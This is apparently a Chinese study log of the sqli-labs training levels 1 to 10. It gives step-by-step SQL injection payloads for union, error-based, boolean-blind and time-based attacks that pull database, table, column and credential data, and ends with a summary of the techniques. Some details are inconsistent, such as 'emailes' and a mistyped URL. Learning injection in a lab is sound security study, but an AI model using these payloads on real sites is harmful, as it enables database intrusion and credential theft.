LESS1:
1.判断是否动态网站
根据输入内容,返回不同的页面,如果是,则为动态网站,例如这里我们输入id=1与id=2返回不同的页面
2.找潜在注入点
搜索框或URL尾端加 ' 如果报错则可能存在sql注入漏洞
3.猜测后台SQL语句
select * from t_xx where xid=1……
4.判断是数字型还是字符型
Less-1/?id=2-1 //发现与输入id=2的页面相同,也就是并没有进行运算,初步判断为字符型
注:?是否能用+判断 //不能,在浏览器里加号会被当做空格
5.如果是字符型,判断闭合符
如果有报错,根据报错来看。
Less-1/?id=2' %23 //得到闭合符为单引号
6.完善猜测的后台查询语句(输入为xxx)
select * from t_xx where xid='xxx' LIMIT 0,1
7.判断列数
二分法
select * from t_xx where xid=('xxx') union select 1,2,3#') LIMIT 0,1
Less-1/?id=2' order by 3%23 //利用二分法得到列数为3列
8.找显示位
-
给出一个不能查出的条件,与联合查询联用
例子:union select 1,2,3…… Less-1/?id=-1' union select 1,2,3%23
确定一个显示位进行查询
9.查库名
-
Less-1/?id=-1' union select 1,2,database()%23
得到数据库为security
10.查表名
-
Less-1/?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'%23
得到表名有:emails,referers,uagents,users
11.查列名
-
Less-1/?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'%23
得到列名有:id,username,password
12.查记录
Less-1/?id=-1' union select 1,group_concat(username),group_concat(password) from users%23
LESS2
1.判断是否动态网站
根据输入内容,返回不同的页面,如果是,则为动态网站,例如这里我们输入id=1与id=2返回不同的页面
2.找潜在注入点
搜索框或URL尾端加 ' 如果报错则可能存在sql注入漏洞
3.猜测后台SQL语句
select * from t_xx where xid=1……
4.判断是数字型还是字符型
Less-1/?id=2-1 //发现与输入id=1的页面相同,也就是进行了运算,所以为数字型
注:?是否能用+判断 //不能,在浏览器里加号会被当做空格
5.如果是字符型,判断闭合符
如果有报错,根据报错来看。
6.完善猜测的后台查询语句(输入为xxx)
select * from t_xx where xid=xxx LIMIT 0,1
7.判断列数
二分法
select * from t_xx where xid=xxx union select 1,2,3#') LIMIT 0,1
Less-2/?id=-1 order by 3 //利用二分法得到列数为3列
8.找显示位
-
给出一个不能查出的条件,与联合查询联用
例子:union select 1,2,3……
-
Less-2/?id=-1 union select 1,2,3
确定一个显示位进行查询
确定2、3列为显示位
9.查库名
-
Less-2/?id=-1 union select 1,2,database()
得到数据库为security
10.查表名
Less-2/?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'
得到表名有:emails,referers,uagents,users
11.查列名
Less-2/?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'%23
得到列名有:id,username,password
12.查记录
Less-2/?id=-1 union select 1,group_concat(username),group_concat(password) from users%23
LESS3:
1.判断是否动态网站
根据输入内容,返回不同的页面,如果是,则为动态网站,例如这里我们输入id=1与id=2返回不同的页面
2.找潜在注入点
搜索框或URL尾端加 ' 如果报错则可能存在sql注入漏洞
3.猜测后台SQL语句
select * from t_xx where xid=1……
4.判断是数字型还是字符型
Less-3/?id=2-1 //发现与输入id=2的页面相同,也就是并没有进行运算,初步判断为字符型
注:?是否能用+判断 //不能,在浏览器里加号会被当做空格
5.如果是字符型,判断闭合符
如果有报错,根据报错来看。
Less-3/?id=2' %23 //得到闭合符为单引号圆括号
6.完善猜测的后台查询语句(输入为xxx)
select * from t_xx where xid=('xxx') LIMIT 0,1
7.判断列数
二分法
select * from t_xx where xid=('xxx') union select 1,2,3#') LIMIT 0,1
Less-3/?id=1') order by 3%23 //利用二分法得到列数为3列
8.找显示位
-
给出一个不能查出的条件,与联合查询联用
例子:union select 1,2,3……Less-3/?id=-1') union select 1,2,3%23
发现第2、3列为显示位
9.查库名
-
Less-3/?id=-1') union select 1,2,database()%23
得到数据库为security
10.查表名
-
Less-3/?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'%23
得到表名有:emails,referers,uagents,users
11.查列名
-
Less-3/?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'%23
得到列名有:id,username,password
12.查记录
Less-3/?id=-1') union select 1,group_concat(username),group_concat(password) from users%23
LESS4:
1.判断是否动态网站
根据输入内容,返回不同的页面,如果是,则为动态网站,例如这里我们输入id=1与id=2返回不同的页面
2.找潜在注入点
搜索框或URL尾端加 ' 如果报错则可能存在sql注入漏洞
3.猜测后台SQL语句
select * from t_xx where xid=1……
4.判断是数字型还是字符型
Less-4/?id=2-1 //发现与输入id=2的页面相同,也就是并没有进行运算,初步判断为字符型
注:?是否能用+判断 //不能,在浏览器里加号会被当做空格
5.如果是字符型,判断闭合符
如果有报错,根据报错来看。依次输入单引号、双引号,看是否有报错
Less-4/?id=2" %23 //得到闭合符为双引号圆括号
6.完善猜测的后台查询语句(输入为xxx)
select * from t_xx where xid=("xxx") LIMIT 0,1
7.判断列数
二分法
select * from t_xx where xid=("xxx") union select 1,2,3#') LIMIT 0,1
Less-4/?id=1") order by 3%23 //利用二分法得到列数为3列
8.找显示位
-
给出一个不能查出的条件,与联合查询联用
例子:union select 1,2,3……Less-4/?id=-1") union select 1,2,3%23
发现第2、3列为显示位
9.查库名
-
Less-4/?id=-1") union select 1,2,database()%23
得到数据库为security
10.查表名
-
Less-4/?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'%23
得到表名有:emails,referers,uagents,users
11.查列名
-
Less-4/?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'%23
得到列名有:id,username,password
12.查记录
Less-4/?id=-1") union select 1,group_concat(username),group_concat(password) from users%23
LESS5:
1.判断是否动态网站
根根据输入内容,返回不同的页面,如果是,则为动态网站,例如这里我们输入id=1与id=2返回页面相同,因此我们只能猜测他为动态网站去尝试注入
2.找潜在注入点
搜索框或URL尾端加 ' 如果报错则可能存在sql注入漏洞
3.猜测后台SQL语句
select * from t_xx where xid=1……
4.判断是数字型还是字符型
Less-5/?id=1 and 0 //发现还是一样,因此猜测不是数字型
注:?是否能用+判断 //不能,在浏览器里加号会被当做空格
5.如果是字符型,判断闭合符
如果有报错,根据报错来看。依次输入单引号、双引号,看是否有报错
Less-5/?id=1' %23 //得到闭合符为单引号,且为动态网站
6.完善猜测的后台查询语句(输入为xxx)
select * from t_xx where xid='xxx' LIMIT 0,1
7.判断列数
二分法
select * from t_xx where xid='xxx' union select 1,2,3#') LIMIT 0,1
由于这里没有显示位,这一步可以忽略
8.找显示位
-
给出一个不能查出的条件,与联合查询联用
例子:union select 1,2,3……
根据前面显示的结果,我们得知页面没有显示位,所以这一步省略,下面开始报错注入
9.查库名
-
Less-5/?id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1) %23
数据库为security
10.查表名
-
Less-5/?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) %23
得到表名有:emails,referers,uagents,users
11.查列名
Less-5/?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1) %23
得到列名有:id,username,password
12.查记录
Less-5/?id=1' and updatexml(1,concat(0x7e,(select group_concat(username) from users),0x7e),1) %23
Less-5/?id=1' and updatexml(1,concat(0x7e,(select group_concat(password) from users),0x7e),1) %23
LESS6:
第六关参照第五关,总体类似,只有闭合符为双引号
LESS7:
1.判断是否动态网站
根据输入内容,返回不同的页面,如果是,则为动态网站,例如这里我们输入id=1与id=2发现一样的页面,这里可以尝试输入其他的,比如?id=999,报错,但是没显示具体报错信息,因此我们选择布尔盲注,另外这一关有一个导出文件,后续完善
2.找潜在注入点
搜索框或URL尾端加 ' 如果报错则可能存在sql注入漏洞
3.猜测后台SQL语句
select * from t_xx where xid=1……
4.判断是数字型还是字符型
Less-7/?id=2-1 //发现还是一样
注:?是否能用+判断 //不能,在浏览器里加号会被当做空格
5.如果是字符型,判断闭合符
如果有报错,根据报错来看。依次输入单引号、双引号,看是否有报错
Less-7/?id=1')) //得到闭合符为单引号和两个圆括号,且为动态网站
6.完善猜测的后台查询语句(输入为xxx)
select * from t_xx where xid=(('xxx')) LIMIT 0,1
7.判断列数
二分法
select * from t_xx where xid='xxx' union select 1,2,3#') LIMIT 0,1
由于这里没有显示位,这一步可以忽略
8.找显示位
-
给出一个不能查出的条件,与联合查询联用
例子:union select 1,2,3……
根据前面显示的结果,我们得知页面没有显示位,所以这一步省略,下面开始布尔盲注
9.查库名
-
先取出数据库的字符长度
-
Less-7/?id=1')) and length(database())>7%23 //得到数据库名为8个字符
-
Less-7/?id=1')) and ascii(substr(database(),1,1))>114%23 //利用二分法,得到第一个字符ascii码为115,查出对应字符为s
-
后面的字符方法相同,得到数据库为security
10.查表名
-
Less-7/?id=1%27)) and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),1,1))>100%23
查出第一个字符ASCII码为101,为字母e,后续字母方法相同,但我在这里试了一下貌似只能查到第一张表emails,后面的表查不到,所以建议用工具sqlmap
得到表名有:emails,referers,uagents,users
11.查列名
得到列名有:id,username,password
12.查记录
LESS8:
1.判断是否动态网站
根根据输入内容,返回不同的页面,如果是,则为动态网站,例如这里我们输入id=1与id=2返回页面相同,因此我们只能猜测他为动态网站去尝试注入,这时联合查询放弃
2.找潜在注入点
搜索框或URL尾端加 ' 如果报错则可能存在sql注入漏洞 ,但是这里发现没有回显内容,尝试加入注释符%23,成功了
输入Less-8/?id=1' 显示如下:
3.猜测后台SQL语句
select * from t_xx where xid=1'
4.判断是数字型还是字符型
Less-8/?id=1 and 0 //发现还是一样,因此猜测不是数字型
注:?是否能用+判断 //不能,在浏览器里加号会被当做空格
5.如果是字符型,判断闭合符
如果有报错,根据报错来看。依次输入单引号、双引号,看是否有报错,这里第2步已经验证了闭合符为单引号
Less-/8?id=1' %23 //得到闭合符为单引号,且为动态网站
6.完善猜测的后台查询语句(输入为xxx)
select * from t_xx where xid='xxx' LIMIT 0,1
7.判断列数
二分法
select * from t_xx where xid='xxx' union select 1,2,3#' LIMIT 0,1
由于这里没有显示位,这一步可以忽略,且这里虽然能根据有无回显查看是否报错,但它不会显示报错信息,因此也只能选择布尔盲注
8.找显示位
-
给出一个不能查出的条件,与联合查询联用
例子:union select 1,2,3……
根据前面显示的结果,我们得知页面没有显示位,所以这一步省略,下面开始布尔盲注
9.查库名
-
Less-8/?id=1' and ascii(substr(database(),1,1))>114 %23 //得到第一位字符ASCII码值为115,字符为s
查出所有字符拼接起来数据库名为security
10.查表名
-
方法与查库名相同,注意事项可以参考第七关,
得到表名有:emails,referers,uagents,users
11.查列名
得到列名有:id,username,password
12.查记录
LESS9:
-
判断是否动态网站
输入id=1、id=2、id=99999 发现界面显示一样,这个时候假设它是一个动态网站,但这个时候联合查询、报错注入(不报错)、布尔盲注(一点提示都没有)都不能用了,这时我们选择延时注入
-
找潜在注入点
搜索框或URL尾端加 ' 如果报错则可能存在sql注入漏洞,但这里我们只能尝试注入
-
猜测后台SQL语句
select * from t_xx where xid=1…
-
判断是数字型还是字符型
Less-9/?id=1 and if(1,sleep(3),1)
直接返回结果,证明不是数字型
?是否能用+判断
-
如果是字符型,判断闭合符
依次在id值后加入单引号、双引号,查看结果
Less-9/?id=1' and if(1,sleep(3),1)%23
得到闭合符为单引号
-
完善猜测的后台查询语句(输入为xxx)
select * from t_xx where xid='xxx' LIMIT 0,1
-
判断列数
二分法
select * from t_xx where xid=('xxx') union select 1,2,3#') LIMIT 0,1
由于这一关没有显示位,也没有报错信息显示,这一步忽略
8.找显示位
-
给出一个不能查出的条件,与联合查询联用
例子:union select 1,2,3……
没有显示位,这一步忽略
9.确定一个显示位进行查询
这里没有显示位,忽略
10.查库名
Less-9/?id=1' and if(length(database())>7,sleep(3),1)%23 //利用二分法查出数据库名字符串长度为8
Less-9/?id=1' and if(ascii(substr(database(),1,1))>114,sleep(3),1)%23 //查出数据据库名第一个字符为s
用同样的方法查出剩下的七个字符拼接起来,得到数据库名为security
11.查表名
information_schema库是特殊库,是一个在mysql5.0后才有的系统库。
-
Less-9/?id=1' and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),1,1))>100,sleep(3),1)%23
查的数据表第一个字符的ascii码值为101,因此第一个字符为1,完整的数据表为emailes
12.查列名
与列名方法相同
13.查记录
LESS10:
参照第九关,方法完全相同,唯一的区别是闭合符变为双引号了
基础巩固
URL编码:%23是#的URL编码
+的URL编码是什么?
注入方式分类:
手工数字型,参照第二关
手工字符型
报错注入:
- 当输入无报错时,要么就是没有这个闭合符,要么就是被后台过滤了,要么就是被转义了,要么就是数字型
- 当输入一个闭合符有报错,那证明至少有一个闭合符为该字符
1、updatexml(1,concat(0x7e,(sql语句),0x7e),1)
2、双(查询)注入,又称floor报错注入,想要查询select database(),只需要输入后面语句即可在MySQL报错语句中查询出来:
- union select count(*), concat((payload), floor(rand()*2)) as a from information_schema.tables group by a;
注:在做这个查询的时候要严格注意列数的限制,如果有多列,必须在语句里面加出来例如less5
Less-5/?id=1' union select count(*), 2,concat((database()), floor(rand()*2)) as a from information_schema.tables group by a;%23
- and (select 1 from (select count(*),concat((payload), floor(rand(0)*2))x from information_schema.tables group by x)a) --+
count(*)是必须带上的。
限制:
输出字符长度限制为?个字符
后台返回记录列数至少2列
3、updatexml报错注入.
MySQL执行1=(updatexml(1,concat(0x3a,(payload)),1))将报错。
限制1:输出字符长度限制为32个字符
限制2:仅payload返回的不是xml格式,才会生效
4、ExtractValue报错注入。
模板1:and extractvalue('anything',concat('/',(Payload)))将报错,不推荐使用。
模板2:union select 1,(extractvalue(1,concat(0x7e,(payload),0x7e))),3%23,不存在丢失报错成果的情况。
Boolean盲注
语法:ascii(substr((sql语句),1,1))>num
思路:
-
尝试变换参数进行正常访问,确认动态网站
-
找到潜在注入点
-
观察特征:有无带出后端查询的内容,有无报错、对比查询成功和查询失败的表现差异(HTTP返回包的差异)
-
猜测后台SQL语句;
-
确定闭合符;
-
构造布尔查询条件
-
原理:通过substr截取想要查询字符串的一个字符,利用二分法将其ascii码与数字进行对比,逼近该字符的ascii值。
-
步骤:
确定待查询字符串的长度:length()
构造布尔语句比对逐字符确定对应ascii码值,拼凑出待查询的字符串
-
延时盲注
语法:and if((sql语句),sleep(3),1)
函数:
sleep():sleep函数可以让SQL语句执行时暂停一段时间,函数返回结果为0
if(expr1,expr2,expr3):如果expr1的值为true,则返回expr的值,否则返回expr3的值。
一般拿到一个动态网站,注入顺序一般为:联合查询注入、报错注入、外带数据注入、布尔盲注、延时盲注
如果有报错(除非特别说明,默认指DBMS的报错,下同),但是不返回显示位的,就排除联合查询注入
如果没有报错,就应该考虑后三种注入方式;如果不能联合查询注入、无报错,且返回页面无条件一致的,就使用延时盲注。如果上面都搞不定,那么换个模块(首选风格更旧或者新功能模块)的注入点。